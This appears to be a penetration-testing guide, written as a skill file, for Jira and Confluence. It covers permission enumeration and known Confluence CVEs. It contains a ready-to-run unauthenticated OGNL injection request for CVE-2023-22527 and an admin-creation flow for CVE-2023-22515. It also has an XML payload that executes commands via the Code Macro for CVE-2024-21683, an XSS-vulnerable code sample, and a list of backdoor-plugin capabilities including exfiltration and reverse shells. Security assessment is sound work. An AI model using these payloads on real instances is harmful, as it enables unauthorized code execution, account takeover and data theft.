Jira & Confluence Security Assessment

A skill for performing security assessments and penetration testing on Jira and Confluence instances.

Quick Start

# Check Jira privileges (authenticated or not)
./scripts/jira_privilege_check.sh https://jira.example.com

# Scan Confluence for known CVEs
./scripts/confluence_cve_scan.sh https://confluence.example.com

# Test specific RCE vulnerabilities
./scripts/confluence_rce_poc.sh https://confluence.example.com CVE-2023-22527

Jira Privilege Enumeration

Check Current User Permissions

Jira exposes permission endpoints that reveal the current user's privileges. This is useful for:

• Identifying misconfigurations where anonymous users have elevated privileges
• Understanding what actions an authenticated user can perform
• Finding privilege escalation opportunities

Endpoints:

• /rest/api/2/mypermissions

• /rest/api/3/mypermissions

Important: Since February 1st, 2019, the

mypermissions

endpoint requires a

permissions

query parameter specifying which permissions to check.

Available Permissions:

ADD_COMMENTS, ADMINISTER, ADMINISTER_PROJECTS, ASSIGNABLE_USER, ASSIGN_ISSUES,
BROWSE_PROJECTS, BULK_CHANGE, CLOSE_ISSUES, CREATE_ATTACHMENTS, CREATE_ISSUES,
CREATE_PROJECT, CREATE_SHARED_OBJECTS, DELETE_ALL_ATTACHMENTS, DELETE_ALL_COMMENTS,
DELETE_ALL_WORKLOGS, DELETE_ISSUES, DELETE_OWN_ATTACHMENTS, DELETE_OWN_COMMENTS,
DELETE_OWN_WORKLOGS, EDIT_ALL_COMMENTS, EDIT_ALL_WORKLOGS, EDIT_ISSUES,
EDIT_OWN_COMMENTS, EDIT_OWN_WORKLOGS, LINK_ISSUES, MANAGE_GROUP_FILTER_SUBSCRIPTIONS,
MANAGE_SPRINTS_PERMISSION, MANAGE_WATCHERS, MODIFY_REPORTER, MOVE_ISSUES,
RESOLVE_ISSUES, SCHEDULE_ISSUES, SET_ISSUE_SECURITY, SYSTEM_ADMIN,
TRANSITION_ISSUES, USER_PICKER, VIEW_AGGREGATED_DATA, VIEW_DEV_TOOLS,
VIEW_READONLY_WORKFLOW, VIEW_VOTERS_AND_WATCHERS, WORK_ON_ISSUES

Example:

curl https://jira.example.com/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS | jq

Look for:

• "havePermission": true

  for anonymous users (security vulnerability)
• Unexpected privileges for authenticated users

• ADMINISTER

  ,

  SYSTEM_ADMIN

  , or

  ADMINISTER_PROJECTS

  permissions

Automated Enumeration Tools

• Jiraffe: https://github.com/0x48piraj/Jiraffe
• jira_scan: https://github.com/bcoles/jira_scan

Confluence Vulnerability Testing

CVE-2023-22527 – Unauthenticated Template Injection RCE

Affected Versions: Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5

Description: Vulnerable Velocity template

text-inline.vm

allows OGNL evaluation without authentication.

Proof of Concept:

curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'

Detection: Response header

x-cmd

will contain command output.

Scanner: Use nuclei template

http/cves/2023/CVE-2023-22527.yaml

(nuclei-templates ≥9.7.5)

CVE-2023-22515 – Setup Reactivation Admin Creation

Affected Versions: Confluence Data Center/Server 8.0.0–8.5.1

Description: Publicly reachable instances allow flipping

setupComplete

and re-running setup to create a new admin account.

Exploit Flow:

1. GET /server-info.action

   – Verify reachability

2. POST /server-info.action

   – Toggle setup flag with

   buildNumber

   parameters

3. POST /setup/setupadministrator.action

   – Create admin with

   fullName

   ,

   email

   ,

   username

   ,

   password

   ,

   confirm

CVE-2024-21683 – Authenticated RCE via Code Macro

Affected Versions: Confluence with Code Macro plugin

Description: Admin can upload crafted language definition; Rhino engine executes embedded Java, leading to RCE.

Payload Template:

<?xml version="1.0"?>
<languages>
  <language key="pwn" name="pwn" namespace="java.lang">
    <tokens>
      <token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
    </tokens>
  </language>
</languages>

Trigger: Select malicious language in any Code Macro body.

Automation: Metasploit module

exploit/multi/http/atlassian_confluence_rce_cve_2024_21683

Plugin Security Assessment

Plugin Module Types

Atlassian plugins can expose various attack surfaces:

• REST Plugin Module: Exposes RESTful API endpoints
• Servlet Plugin Module: Deploys Java servlets
• Macro Plugin Module: Implements parameterized HTML templates

Common Vulnerabilities

XSS in Macros: Macro plugins often reflect user input without proper sanitization. Example vulnerable pattern:

public String execute(Map<String, String> map, String body, ConversionContext conversionContext) {
    if (map.get("Name") != null) {
        return ("<h1>Hello " + map.get("Name") + "!</h1>"); // XSS vulnerability
    }
    return "<h1>Hello World!</h1>";
}

XSS Payloads: See https://github.com/cyllective/XSS-Payloads/tree/main/Confluence

Backdoor Plugin Capabilities

Malicious plugins can perform:

• Hide from Admins: Inject JavaScript to hide plugin from UI
• Data Exfiltration: Access and exfiltrate attachments and pages
• Session Token Theft: Echo headers in response, leak cookies via JavaScript
• Command Execution: Execute arbitrary code
• Reverse Shell: Establish reverse shell connections
• DOM Proxying: Tunnel through browser to internal network

Reference: https://github.com/cyllective/malfluence

Assessment Workflow

1. Reconnaissance

   • Identify Jira/Confluence version
   • Check for exposed endpoints
   • Enumerate available plugins

2. Privilege Enumeration

   • Test anonymous access to

     /rest/api/2/mypermissions

   • Check authenticated user permissions
   • Look for privilege escalation paths

3. Vulnerability Scanning

   • Run CVE-2023-22527 check (unauthenticated)
   • Test CVE-2023-22515 if setup endpoint accessible
   • Check for CVE-2024-21683 if authenticated admin access

4. Plugin Analysis

   • Review installed plugins
   • Test for XSS in macro plugins
   • Check for custom REST endpoints

5. Exploitation

   • Use appropriate payloads based on findings
   • Document all steps for reporting

References

• CVE-2023-22527 Advisory
• CISA AA23-289A – CVE-2023-22515
• Atlassian Plugin Modules
• XSS Payloads for Confluence
• Malfluence – Malicious Plugin Examples